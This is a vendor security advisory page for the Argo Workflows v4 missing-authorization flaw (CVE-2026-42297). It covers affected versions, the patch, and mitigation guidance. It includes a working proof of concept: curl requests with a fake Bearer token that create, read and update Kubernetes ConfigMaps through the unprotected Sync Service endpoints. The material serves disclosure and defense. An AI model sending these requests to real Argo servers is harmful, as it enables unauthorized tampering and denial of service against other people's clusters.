Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

GHSA-xchc-cqwg-g76q — v4

Fix: argoproj/argo-workflows@09fff05

GHSA-xchc-cqwg-g76q is a CWE-862 vulnerability in github.com/argoproj/argo-workflows/v4. A fix is available for github.com/argoproj/argo-workflows/v4 — see the affected versions and patch details below.

Argo has Missing Authorization in its Sync ConfigMap Provider

Also known asBIT-argo-workflows-2026-42297CVE-2026-42297GO-2026-5751
Published
May 4, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 27, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xchc-cqwg-g76q.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹github.com/argoproj/argo-workflows/v4

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details

The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}
  • server/sync/sync_cm.go — lines 23-155
  • All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC

Prerequisites

  • Argo Server running with --auth-mode=server
  • Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

kubectl get configmap test-sync -n default
NAME        DATA   AGE
test-sync   1      74s

Step 2: Read Sync Limit (Fake Token)

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
  -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
999

Impact

An attacker with network access to the Argo Server can:

  1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution
  2. Workflow Disruption — Modify existing sync limits to break running workflows
  3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration
  4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

  • CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check)
  • CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/argoproj/argo-workflows/v4≥ 4.0.0&&< 4.0.54.0.5go get github.com/argoproj/argo-workflows/v4@v4.0.5

Affected Products

1 product · 1 configurations
Application
argo workflowsargoproj
≥ 4.0.0 && < 4.0.5
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v4, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/argoproj/argo-workflows/v4 to 4.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xchc-cqwg-g76q is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

Important: A missing authorization check in Argo Workflows' Sync Service allows any authenticated user, including those with fake Bearer tokens, to perform unauthorized create, read, update, and delete operations on Kubernetes ConfigMaps managing synchronization limits. This vulnerability, affecting Red Hat OpenShift…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for GHSA-xchc-cqwg-g76q (CC BY 4.0)

Frequently Asked Questions

### Summary The Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. ### Details The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks: ```go // sync_cm.go — UNPROTECTED func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) { // NO auth.CanI
O3 Security · Impact-Aware SCA

Is GHSA-xchc-cqwg-g76q in your dependencies?

Find it across Go, including transitive dependencies.

GHSA-xchc-cqwg-g76q: v4 Auth Bypass | O3 Security